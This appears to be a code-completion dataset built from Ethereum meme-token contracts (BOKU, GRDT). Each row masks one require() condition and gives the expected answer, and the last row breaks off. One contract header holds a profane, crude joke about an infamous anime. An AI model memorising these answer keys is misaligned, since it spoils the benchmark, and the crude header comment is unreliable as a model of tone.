modifier inSwapFlag { }
constructor () {
}
function name() public pure returns (string memory) { }
function symbol() public pure returns (string memory) { }
function decimals() public pure returns (uint8) { }
function totalSupply() public pure override returns (uint256) { }
function balanceOf(address account) public view override returns (uint256) { }
function allowance(address owner, address spender) public view override returns (uint256) { }
function transfer(address recipient, uint256 amount) public override returns (bool) {
}
function approve(address spender, uint256 amount) public override returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
}
function _approve(address owner, address spender, uint256 amount) private {
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (!startTrading) {
require(from == owner() || to == owner(), "Trading isn't enable yet!");
}
uint8 _tax;
if (from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) {
require(amount <= maxTxAmount, "Exceeds the maxTxAmount");
require(<FILL_ME>)
_tax = buyFee;
}
if (to == uniswapV2Pair && from != address(this) && !_isExcludedFromFee[from]) {
require(amount <= maxTxAmount, "Exceeds the maxTxAmount");
_tax = sellFee;
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && (contractTokenBalance > swapThreshold)) {
internalSwap(min(min(contractTokenBalance, maxSwapBack),amount));
}
}
uint256 _taxAmount = amount * _tax / 100;
if (_taxAmount > 0) {
_balances[address(this)] += _taxAmount;
emit Transfer(from, address(this), _taxAmount);
}
_balances[from] -= amount;
_balances[to] += (amount - _taxAmount);
emit Transfer(from, to, (amount - _taxAmount));
}
function min(uint256 a, uint256 b) private pure returns (uint256){
}
function internalSwap(uint256 amount) internal inSwapFlag {
}
function removeLimits() external onlyOwner {
}
function updateFee(uint8 newBuy, uint8 newSell) external onlyOwner {
}
function enableTrading() external onlyOwner() {
}
function swap() external {
}
receive() external payable {}
}
| balanceOf(to)+amount<=maxWalletSize,"Exceeds the maxWalletSize" | 63,490 | balanceOf(to)+amount<=maxWalletSize |
"Trading is already enable!" | /**
*Submitted for verification at Etherscan.io on 2023-08-10
*/
// SPDX-License-Identifier: MIT
/**
Boku no Pico
Man this shit is so wrong in so many motherfucking levels yo…I was talking to one of my white friends and he sent me 3 videos with the name only labeled "Boku" I said to this dude, What's this shit? He just giggled and said "Just watch them and MAKE SURE NOBODY IS AROUND YOU WHEN WATCHING IT!" Then I thought it was some weird porno or some strange shit but as I watched the first video, I was like "Yo…..what the fuck.." THEN IT CONTINUED and I was like "Yoooooooooooooooooooooooo……." THEN THEY GOT IN THE MOTHERFUCKING CAR AND THEN I SAID "YYYYYYYYYYYYYYYYYYYYYYYYYYYYYOOOOOOOOOO OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO
Website: https://www.bokutoken.com/
Twitter: https://twitter.com/BOKUNOPICOERC
Telegram:https://t.me/BokuErc
**/
pragma solidity ^0.8.18;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
contract BOKU is Context, IERC20, Ownable {
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
address payable private _taxWallet;
uint8 private buyFee;
uint8 private sellFee;
uint8 private constant _decimals = 18;
uint256 private constant _tTotal = 1_000_000_000 * 10**_decimals;
string private constant _name = unicode"Boku No Pico";
string private constant _symbol = unicode"BOKU";
uint256 private maxTxAmount = _tTotal * 3 / 100;
uint256 private maxWalletSize = _tTotal * 3 / 100;
uint256 private swapThreshold = _tTotal * 5 / 1000;
uint256 private maxSwapBack = _tTotal * 3 / 100;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool public startTrading;
bool private inSwap;
modifier inSwapFlag { }
constructor () {
}
function name() public pure returns (string memory) { }
function symbol() public pure returns (string memory) { }
function decimals() public pure returns (uint8) { }
function totalSupply() public pure override returns (uint256) { }
function balanceOf(address account) public view override returns (uint256) { }
function allowance(address owner, address spender) public view override returns (uint256) { }
function transfer(address recipient, uint256 amount) public override returns (bool) {
}
function approve(address spender, uint256 amount) public override returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
}
function _approve(address owner, address spender, uint256 amount) private {
}
function _transfer(address from, address to, uint256 amount) private {
}
function min(uint256 a, uint256 b) private pure returns (uint256){
}
function internalSwap(uint256 amount) internal inSwapFlag {
}
function removeLimits() external onlyOwner {
}
function updateFee(uint8 newBuy, uint8 newSell) external onlyOwner {
}
function enableTrading() external onlyOwner() {
require(<FILL_ME>)
startTrading = true;
buyFee = 18;
sellFee = 25;
}
function swap() external {
}
receive() external payable {}
}
| !startTrading,"Trading is already enable!" | 63,490 | !startTrading |
"Max wallet exceeded" | /**
Telegram: https://t.me/GetRichOrDieTryin_ETH
X: https://twitter.com/grdt_eth
Website: https://www.getrichordietryin.live/
**/
// SPDX-License-Identifier: MIT
pragma solidity 0.8.21;
pragma experimental ABIEncoderV2;
abstract contract Ownable {
address private _owner;
constructor() {
}
function owner() public view virtual returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
}
library SafeERC20 {
function safeTransfer(address token, address to, uint256 value) internal {
}
}
interface IERC20 {
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external;
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function swapExactTokensForETHSupportingFeeOnTransferTokens(uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline) external;
function addLiquidityETH(address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline) external payable returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);
}
contract GRDT is Ownable {
string private constant _name = unicode"GET RICH OR DIE TRYIN";
string private constant _symbol = unicode"GRDT";
uint256 private constant _totalSupply = 10_000_000 * 1e18;
uint256 public maxTransactionAmount = 200_000 * 1e18; // 2% maxWallet
uint256 public maxWallet = 200_000 * 1e18; // 2% maxWallet
uint256 public swapTokensAtAmount = (_totalSupply * 2) / 10000;
address private developmentWallet = 0x1a249Ce44Fc3c0D44FC6cD3155E44d811f8261e7;
address private marketingWallet = 0xeCad233aDA714117CA87f7AC55382a985b023C06;
address private teamWallet = 0x8B214f872ad4526373cf0897B9317Fc57166d9F0;
address private constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
uint8 public buyTotalFees = 4;
uint8 public sellTotalFees = 4;
uint8 public developmentFee = 50;
uint8 public marketingFee = 50;
uint8 public teamFee = 0;
bool private swapping;
bool public limitsInEffect = true;
bool private launched;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFees;
mapping(address => bool) private _isExcludedMaxTransactionAmount;
mapping(address => bool) private automatedMarketMakerPairs;
event SwapAndLiquify(uint256 tokensSwapped, uint256 teamETH, uint256 developmentETH, uint256 MarketingETH);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
IUniswapV2Router02 public constant uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
address public immutable uniswapV2Pair;
constructor() {
}
receive() external payable {}
function name() public pure returns (string memory) {
}
function symbol() public pure returns (string memory) {
}
function decimals() public pure returns (uint8) {
}
function totalSupply() public pure returns (uint256) {
}
function balanceOf(address account) public view returns (uint256) {
}
function allowance(address owner, address spender) public view returns (uint256) {
}
function approve(address spender, uint256 amount) external returns (bool) {
}
function _approve(address owner, address spender, uint256 amount) private {
}
function transfer(address recipient, uint256 amount) external returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool) {
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (!launched && (from != owner() && from != address(this) && to != owner())) {
revert("Trading not enabled");
}
if (limitsInEffect) {
if (from != owner() && to != owner() && to != address(0) && to != address(0xdead) && !swapping) {
if (automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to]) {
require(amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxTx");
require(<FILL_ME>)
} else if (automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from]) {
require(amount <= maxTransactionAmount,"Sell transfer amount exceeds the maxTx");
} else if (!_isExcludedMaxTransactionAmount[to]) {
require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded");
}
}
}
bool canSwap = balanceOf(address(this)) >= swapTokensAtAmount;
if (canSwap && !swapping && !automatedMarketMakerPairs[from] && !_isExcludedFromFees[from] && !_isExcludedFromFees[to]) {
swapping = true;
swapBack();
swapping = false;
}
bool takeFee = !swapping;
if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
takeFee = false;
}
uint256 senderBalance = _balances[from];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
uint256 fees = 0;
if (takeFee) {
if (automatedMarketMakerPairs[to] && sellTotalFees > 0) {
fees = (amount * sellTotalFees) / 100;
} else if (automatedMarketMakerPairs[from] && buyTotalFees > 0) {
fees = (amount * buyTotalFees) / 100;
}
if (fees > 0) {
unchecked {
amount = amount - fees;
_balances[from] -= fees;
_balances[address(this)] += fees;
}
emit Transfer(from, address(this), fees);
}
}
unchecked {
_balances[from] -= amount;
_balances[to] += amount;
}
emit Transfer(from, to, amount);
}
function removeLimits() external onlyOwner {
}
function setDistributionFees(uint8 _DevelopmentFee, uint8 _MarketingFee, uint8 _teamFee) external onlyOwner {
}
function setFees(uint8 _buyTotalFees, uint8 _sellTotalFees) external onlyOwner {
}
function setExcludedFromFees(address account, bool excluded) public onlyOwner {
}
function setExcludedFromMaxTransaction(address account, bool excluded) public onlyOwner {
}
function airdropWallets(address[] memory addresses, uint256[] memory amounts) external onlyOwner {
}
function openTrade() external onlyOwner {
}
function Snipermode() external payable onlyOwner {
}
function setAutomatedMarketMakerPair(address pair, bool value) external onlyOwner {
}
function setSwapAtAmount(uint256 newSwapAmount) external onlyOwner {
}
function setMaxTxnAmount(uint256 newMaxTx) external onlyOwner {
}
function setMaxWalletAmount(uint256 newMaxWallet) external onlyOwner {
}
function updateDevelopmentWallet(address newAddress) external onlyOwner {
}
function updateMarketingWallet(address newAddress) external onlyOwner {
}
function updateTeamWallet(address newAddress) external onlyOwner {
}
function excludedFromFee(address account) public view returns (bool) {
}
function withdrawStuckToken(address token, address to) external onlyOwner {
}
function withdrawStuckETH(address addr) external onlyOwner {
}
function swapBack() private {
}
}
| amount+balanceOf(to)<=maxWallet,"Max wallet exceeded" | 63,533 | amount+balanceOf(to)<=maxWallet |
"Distribution have to be equal to 100%" | /**
Telegram: https://t.me/GetRichOrDieTryin_ETH
X: https://twitter.com/grdt_eth
Website: https://www.getrichordietryin.live/
**/
// SPDX-License-Identifier: MIT
pragma solidity 0.8.21;
pragma experimental ABIEncoderV2;
abstract contract Ownable {
address private _owner;
constructor() {
}
function owner() public view virtual returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
}
library SafeERC20 {
function safeTransfer(address token, address to, uint256 value) internal {
}
}
interface IERC20 {
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external;
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function swapExactTokensForETHSupportingFeeOnTransferTokens(uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline) external;
function addLiquidityETH(address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline) external payable returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);
}
contract GRDT is Ownable {
string private constant _name = unicode"GET RICH OR DIE TRYIN";
string private constant _symbol = unicode"GRDT";
uint256 private constant _totalSupply = 10_000_000 * 1e18;
uint256 public maxTransactionAmount = 200_000 * 1e18; // 2% maxWallet
uint256 public maxWallet = 200_000 * 1e18; // 2% maxWallet
uint256 public swapTokensAtAmount = (_totalSupply * 2) / 10000;
address private developmentWallet = 0x1a249Ce44Fc3c0D44FC6cD3155E44d811f8261e7;
address private marketingWallet = 0xeCad233aDA714117CA87f7AC55382a985b023C06;
address private teamWallet = 0x8B214f872ad4526373cf0897B9317Fc57166d9F0;
address private constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
uint8 public buyTotalFees = 4;
uint8 public sellTotalFees = 4;
uint8 public developmentFee = 50;
uint8 public marketingFee = 50;
uint8 public teamFee = 0;
bool private swapping;
bool public limitsInEffect = true;
bool private launched;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFees;
mapping(address => bool) private _isExcludedMaxTransactionAmount;
mapping(address => bool) private automatedMarketMakerPairs;
event SwapAndLiquify(uint256 tokensSwapped, uint256 teamETH, uint256 developmentETH, uint256 MarketingETH);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
IUniswapV2Router02 public constant uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
address public immutable uniswapV2Pair;
constructor() {
}
receive() external payable {}
function name() public pure returns (string memory) {
}
function symbol() public pure returns (string memory) {
}
function decimals() public pure returns (uint8) {
}
function totalSupply() public pure returns (uint256) {
}
function balanceOf(address account) public view returns (uint256) {
}
function allowance(address owner, address spender) public view returns (uint256) {
}
function approve(address spender, uint256 amount) external returns (bool) {
}
function _approve(address owner, address spender, uint256 amount) private {
}
function transfer(address recipient, uint256 amount) external returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool) {
}
function _transfer(address from, address to, uint256 amount) private {
}
function removeLimits() external onlyOwner {
}
function setDistributionFees(uint8 _DevelopmentFee, uint8 _MarketingFee, uint8 _teamFee) external onlyOwner {
developmentFee = _DevelopmentFee;
marketingFee = _MarketingFee;
teamFee = _teamFee;
require(<FILL_ME>)
}
function setFees(uint8 _buyTotalFees, uint8 _sellTotalFees) external onlyOwner {
}
function setExcludedFromFees(address account, bool excluded) public onlyOwner {
}
function setExcludedFromMaxTransaction(address account, bool excluded) public onlyOwner {
}
function airdropWallets(address[] memory addresses, uint256[] memory amounts) external onlyOwner {
}
function openTrade() external onlyOwner {
}
function Snipermode() external payable onlyOwner {
}
function setAutomatedMarketMakerPair(address pair, bool value) external onlyOwner {
}
function setSwapAtAmount(uint256 newSwapAmount) external onlyOwner {
}
function setMaxTxnAmount(uint256 newMaxTx) external onlyOwner {
}
function setMaxWalletAmount(uint256 newMaxWallet) external onlyOwner {
}
function updateDevelopmentWallet(address newAddress) external onlyOwner {
}
function updateMarketingWallet(address newAddress) external onlyOwner {
}
function updateTeamWallet(address newAddress) external onlyOwner {
}
function excludedFromFee(address account) public view returns (bool) {
}
function withdrawStuckToken(address token, address to) external onlyOwner {
}
function withdrawStuckETH(address addr) external onlyOwner {
}
function swapBack() private {
}
}
| (developmentFee+marketingFee+teamFee)==100,"Distribution have to be equal to 100%" | 63,533 | (developmentFee+marketingFee+teamFee)==100 |
"Already launched" | /**
Telegram: https://t.me/GetRichOrDieTryin_ETH
X: https://twitter.com/grdt_eth
Website: https://www.getrichordietryin.live/
**/
// SPDX-License-Identifier: MIT
pragma solidity 0.8.21;
pragma experimental ABIEncoderV2;
abstract contract Ownable {
address private _owner;
constructor() {
}
function owner() public view virtual returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
}
library SafeERC20 {
function safeTransfer(address token, address to, uint256 value) internal {
}
}
interface IERC20 {
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external;
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function swapExactTokensForETHSupportingFeeOnTransferTokens(uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline) external;
function addLiquidityETH(address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline) external payable returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);
}
contract GRDT is Ownable {
string private constant _name = unicode"GET RICH OR DIE TRYIN";
string private constant _symbol = unicode"GRDT";
uint256 private constant _totalSupply = 10_000_000 * 1e18;
uint256 public maxTransactionAmount = 200_000 * 1e18; // 2% maxWallet
uint256 public maxWallet = 200_000 * 1e18; // 2% maxWallet
uint256 public swapTokensAtAmount = (_totalSupply * 2) / 10000;
address private developmentWallet = 0x1a249Ce44Fc3c0D44FC6cD3155E44d811f8261e7;
address private marketingWallet = 0xeCad233aDA714117CA87f7AC55382a985b023C06;
address private teamWallet = 0x8B214f872ad4526373cf0897B9317Fc57166d9F0;
address private constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
uint8 public buyTotalFees = 4;
uint8 public sellTotalFees = 4;
uint8 public developmentFee = 50;
uint8 public marketingFee = 50;
uint8 public teamFee = 0;
bool private swapping;
bool public limitsInEffect = true;
bool private launched;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFees;
mapping(address => bool) private _isExcludedMaxTransactionAmount;
mapping(address => bool) private automatedMarketMakerPairs;
event SwapAndLiquify(uint256 tokensSwapped, uint256 teamETH, uint256 developmentETH, uint256 MarketingETH);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
IUniswapV2Router02 public constant uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
address public immutable uniswapV2Pair;
constructor() {
}
receive() external payable {}
function name() public pure returns (string memory) {
}
function symbol() public pure returns (string memory) {
}
function decimals() public pure returns (uint8) {
}
function totalSupply() public pure returns (uint256) {
}
function balanceOf(address account) public view returns (uint256) {
}
function allowance(address owner, address spender) public view returns (uint256) {
}
function approve(address spender, uint256 amount) external returns (bool) {
}
function _approve(address owner, address spender, uint256 amount) private {
}
function transfer(address recipient, uint256 amount) external returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool) {
}
function _transfer(address from, address to, uint256 amount) private {
}
function removeLimits() external onlyOwner {
}
function setDistributionFees(uint8 _DevelopmentFee, uint8 _MarketingFee, uint8 _teamFee) external onlyOwner {
}
function setFees(uint8 _buyTotalFees, uint8 _sellTotalFees) external onlyOwner {
}
function setExcludedFromFees(address account, bool excluded) public onlyOwner {
}
function setExcludedFromMaxTransaction(address account, bool excluded) public onlyOwner {
}
function airdropWallets(address[] memory addresses, uint256[] memory amounts) external onlyOwner {
require(<FILL_ME>)
for (uint256 i = 0; i < addresses.length; i++) {
require(_balances[msg.sender] >= amounts[i], "ERC20: transfer amount exceeds balance");
_balances[addresses[i]] += amounts[i];
_balances[msg.sender] -= amounts[i];
emit Transfer(msg.sender, addresses[i], amounts[i]);
}
}
function openTrade() external onlyOwner {
}
function Snipermode() external payable onlyOwner {
}
function setAutomatedMarketMakerPair(address pair, bool value) external onlyOwner {
}
function setSwapAtAmount(uint256 newSwapAmount) external onlyOwner {
}
function setMaxTxnAmount(uint256 newMaxTx) external onlyOwner {
}
function setMaxWalletAmount(uint256 newMaxWallet) external onlyOwner {
}
function updateDevelopmentWallet(address newAddress) external onlyOwner {
}
function updateMarketingWallet(address newAddress) external onlyOwner {
}
function updateTeamWallet(address newAddress) external onlyOwner {
}
function excludedFromFee(address account) public view returns (bool) {
}
function withdrawStuckToken(address token, address to) external onlyOwner {
}
function withdrawStuckETH(address addr) external onlyOwner {
}
function swapBack() private {
}
}
| !launched,"Already launched" | 63,533 | !launched |
"ERC20: transfer amount exceeds balance" | /**
Telegram: https://t.me/GetRichOrDieTryin_ETH
X: https://twitter.com/grdt_eth
Website: https://www.getrichordietryin.live/
**/
// SPDX-License-Identifier: MIT
pragma solidity 0.8.21;
pragma experimental ABIEncoderV2;
abstract contract Ownable {
address private _owner;
constructor() {
}
function owner() public view virtual returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
}
library SafeERC20 {
function safeTransfer(address token, address to, uint256 value) internal {
}
}
interface IERC20 {
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external;
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function swapExactTokensForETHSupportingFeeOnTransferTokens(uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline) external;
function addLiquidityETH(address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline) external payable returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);
}
contract GRDT is Ownable {
string private constant _name = unicode"GET RICH OR DIE TRYIN";
string private constant _symbol = unicode"GRDT";
uint256 private constant _totalSupply = 10_000_000 * 1e18;
uint256 public maxTransactionAmount = 200_000 * 1e18; // 2% maxWallet
uint256 public maxWallet = 200_000 * 1e18; // 2% maxWallet
uint256 public swapTokensAtAmount = (_totalSupply * 2) / 10000;
address private developmentWallet = 0x1a249Ce44Fc3c0D44FC6cD3155E44d811f8261e7;
address private marketingWallet = 0xeCad233aDA714117CA87f7AC55382a985b023C06;
address private teamWallet = 0x8B214f872ad4526373cf0897B9317Fc57166d9F0;
address private constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
uint8 public buyTotalFees = 4;
uint8 public sellTotalFees = 4;
uint8 public developmentFee = 50;
uint8 public marketingFee = 50;
uint8 public teamFee = 0;
bool private swapping;
bool public limitsInEffect = true;
bool private launched;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFees;
mapping(address => bool) private _isExcludedMaxTransactionAmount;
mapping(address => bool) private automatedMarketMakerPairs;
event SwapAndLiquify(uint256 tokensSwapped, uint256 teamETH, uint256 developmentETH, uint256 MarketingETH);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
IUniswapV2Router02 public constant uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
address public immutable uniswapV2Pair;
constructor() {
}
receive() external payable {}
function name() public pure returns (string memory) {
}
function symbol() public pure returns (string memory) {
}
function decimals() public pure returns (uint8) {
}
function totalSupply() public pure returns (uint256) {
}
function balanceOf(address account) public view returns (uint256) {
}
function allowance(address owner, address spender) public view returns (uint256) {
}
function approve(address spender, uint256 amount) external returns (bool) {
}
function _approve(address owner, address spender, uint256 amount) private {
}
function transfer(address recipient, uint256 amount) external returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool) {
}
function _transfer(address from, address to, uint256 amount) private {
}
function removeLimits() external onlyOwner {
}
function setDistributionFees(uint8 _DevelopmentFee, uint8 _MarketingFee, uint8 _teamFee) external onlyOwner {
}
function setFees(uint8 _buyTotalFees, uint8 _sellTotalFees) external onlyOwner {
}
function setExcludedFromFees(address account, bool excluded) public onlyOwner {
}
function setExcludedFromMaxTransaction(address account, bool excluded) public onlyOwner {
}
function airdropWallets(address[] memory addresses, uint256[] memory amounts) external onlyOwner {
require(!launched, "Already launched");
for (uint256 i = 0; i < addresses.length; i++) {
require(<FILL_ME>)
_balances[addresses[i]] += amounts[i];
_balances[msg.sender] -= amounts[i];
emit Transfer(msg.sender, addresses[i], amounts[i]);
}
}
function openTrade() external onlyOwner {
}
function Snipermode() external payable onlyOwner {
}
function setAutomatedMarketMakerPair(address pair, bool value) external onlyOwner {
}
function setSwapAtAmount(uint256 newSwapAmount) external onlyOwner {
}
function setMaxTxnAmount(uint256 newMaxTx) external onlyOwner {
}
function setMaxWalletAmount(uint256 newMaxWallet) external onlyOwner {
}
function updateDevelopmentWallet(address newAddress) external onlyOwner {
}
function updateMarketingWallet(address newAddress) external onlyOwner {
}
function updateTeamWallet(address newAddress) external onlyOwner {
}
function excludedFromFee(address account) public view returns (bool) {
}
function withdrawStuckToken(address token, address to) external onlyOwner {
}
function withdrawStuckETH(address addr) external onlyOwner {
}
function swapBack() private {
}
}
| _balances[msg.sender]>=amounts[i],"ERC20: transfer amount exceeds balance" | 63,533 | _balances[msg.sender]>=amounts[i] |
"Swap amount cannot be lower than 0.001% of the supply" | /**
Telegram: https://t.me/GetRichOrDieTryin_ETH
X: https://twitter.com/grdt_eth
Website: https://www.getrichordietryin.live/
**/
// SPDX-License-Identifier: MIT
pragma solidity 0.8.21;
pragma experimental ABIEncoderV2;
abstract contract Ownable {
address private _owner;
constructor() {
}
function owner() public view virtual returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
}
library SafeERC20 {
function safeTransfer(address token, address to, uint256 value) internal {
}
}
interface IERC20 {
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external;
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function swapExactTokensForETHSupportingFeeOnTransferTokens(uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline) external;
function addLiquidityETH(address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline) external payable returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);
}
contract GRDT is Ownable {
string private constant _name = unicode"GET RICH OR DIE TRYIN";
string private constant _symbol = unicode"GRDT";
uint256 private constant _totalSupply = 10_000_000 * 1e18;
uint256 public maxTransactionAmount = 200_000 * 1e18; // 2% maxWallet
uint256 public maxWallet = 200_000 * 1e18; // 2% maxWallet
uint256 public swapTokensAtAmount = (_totalSupply * 2) / 10000;
address private developmentWallet = 0x1a249Ce44Fc3c0D44FC6cD3155E44d811f8261e7;
address private marketingWallet = 0xeCad233aDA714117CA87f7AC55382a985b023C06;
address private teamWallet = 0x8B214f872ad4526373cf0897B9317Fc57166d9F0;
address private constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
uint8 public buyTotalFees = 4;
uint8 public sellTotalFees = 4;
uint8 public developmentFee = 50;
uint8 public marketingFee = 50;
uint8 public teamFee = 0;
bool private swapping;
bool public limitsInEffect = true;
bool private launched;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFees;
mapping(address => bool) private _isExcludedMaxTransactionAmount;
mapping(address => bool) private automatedMarketMakerPairs;
event SwapAndLiquify(uint256 tokensSwapped, uint256 teamETH, uint256 developmentETH, uint256 MarketingETH);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
IUniswapV2Router02 public constant uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
address public immutable uniswapV2Pair;
constructor() {
}
receive() external payable {}
function name() public pure returns (string memory) {
}
function symbol() public pure returns (string memory) {
}
function decimals() public pure returns (uint8) {
}
function totalSupply() public pure returns (uint256) {
}
function balanceOf(address account) public view returns (uint256) {
}
function allowance(address owner, address spender) public view returns (uint256) {
}
function approve(address spender, uint256 amount) external returns (bool) {
}
function _approve(address owner, address spender, uint256 amount) private {
}
function transfer(address recipient, uint256 amount) external returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool) {
}
function _transfer(address from, address to, uint256 amount) private {
}
function removeLimits() external onlyOwner {
}
function setDistributionFees(uint8 _DevelopmentFee, uint8 _MarketingFee, uint8 _teamFee) external onlyOwner {
}
function setFees(uint8 _buyTotalFees, uint8 _sellTotalFees) external onlyOwner {
}
function setExcludedFromFees(address account, bool excluded) public onlyOwner {
}
function setExcludedFromMaxTransaction(address account, bool excluded) public onlyOwner {
}
function airdropWallets(address[] memory addresses, uint256[] memory amounts) external onlyOwner {
}
function openTrade() external onlyOwner {
}
function Snipermode() external payable onlyOwner {
}
function setAutomatedMarketMakerPair(address pair, bool value) external onlyOwner {
}
function setSwapAtAmount(uint256 newSwapAmount) external onlyOwner {
require(<FILL_ME>)
require(newSwapAmount <= (totalSupply() * 5) / 1000, "Swap amount cannot be higher than 0.5% of the supply");
swapTokensAtAmount = newSwapAmount;
}
function setMaxTxnAmount(uint256 newMaxTx) external onlyOwner {
}
function setMaxWalletAmount(uint256 newMaxWallet) external onlyOwner {
